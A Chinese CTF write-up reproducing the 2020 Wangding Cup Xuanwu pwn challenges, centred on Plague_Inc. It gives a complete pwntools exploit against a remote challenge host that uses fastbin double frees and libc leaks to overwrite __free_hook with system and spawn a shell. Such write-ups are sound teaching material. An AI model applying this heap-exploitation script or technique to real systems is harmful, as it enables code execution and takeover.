0%

网鼎杯2020玄武组的复现(pwn部分)

网鼎玄武,还是有点难顶的。不过至少有个堆题目给签个到,出题人终于良心发现了。两个faster系列题目,都是盲打,不会,到时候看师傅们博客学一波。还有一个vm,不会做,有时间就复现。

Plague_Inc

这题目洞发现有点晚,赛后才做出来,首先有free,只能add 14次,show一次,change一次。这题目有两种解法,一种是cnitlrt师傅的打io_overflow用iofinish。另一种就是我用的两次double free构造一个错位,进而打free hook,我用的这种恰好用完了add次数,可能是预期解也说不定。
主要思路就是add的时候选择大小,如果选择不对,就会malloc(0),构造一个0x21的fastbins,利用这个fastbins打double free。首先用unsorted来show同时泄露一波heap的基址和libc的基址,然后构造一次double free在维护堆结构体那里写一个错位的0x21用来之后add的时候修改堆指针(因为add只能读入8个字节),最后再用一次double free来改写堆指针到free hook。然后利用唯一的change将他改成system,来稳定拿shell。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
from pwn import *
context.log_level='debug'
#p=process('./xwpwn')
p=remote('101.200.161.151',15201)
elf=ELF('./xwpwn')

def add(size,content=''):
p.recvuntil('choice:')
p.sendline('1')
p.recvuntil("Your choice:")
p.sendline(str(size))
p.recvuntil("lives in:")
p.send(content)

def free(index):
p.recvuntil('choice:')
p.sendline('2')
p.recvuntil('Index of country:')
p.sendline(str(index))

def change(index,content):
p.recvuntil('choice:')
p.sendline('3')
p.recvuntil('Index of country:')
p.sendline(str(index))
p.recvuntil('break out in?')
p.send(content)

def show(index):
p.recvuntil('choice:')
p.sendline('4')
p.recvuntil('Index of country:')
p.sendline(str(index))
p.recvuntil('Current status:\n')

add(1,'aa')#0
add(0,'aa')#1
add(1,'aa')#2
add(0,'aa')#3
add(9,'\n')#4 #0x20

free(0)
free(2)
#gdb.attach(p)
#pause()

add(1,'\x78')#4=1
show(5)
unsorted=u64(p.recv(8))
print(hex(unsorted))
libc=unsorted-0x68-0x3c4b10
max_fast=libc+0x3c67a8+0x50
heap_addr=u64(p.recv(8))
print(hex(heap_addr))
print(hex(libc))

free(1)
free(3)
free(1)
#1-3-1

#5
victim=heap_addr-0x12a0+0x80+0x20
add(9,p64(victim))#6 #1
add(9,'\n')#7 #3
add(9,'\n')#8 #1
add(9,p64(0x21))#9 #cuowei

free(4)
free(7)
free(4)
##
add(0,p64(victim+0x8))#10 #5
add(0,'/bin/sh\x00')#11 #6
add(0,'\n')#12 #5
print(hex(victim))
free_hook=libc+0x3c67a8
add(9,p64(free_hook))#13
system=libc+0x45390
change(5,p64(system))
free(11)
p.interactive()

vm_box

vm题目,有时间再看看吧。

好饿啊,早知道不学安全了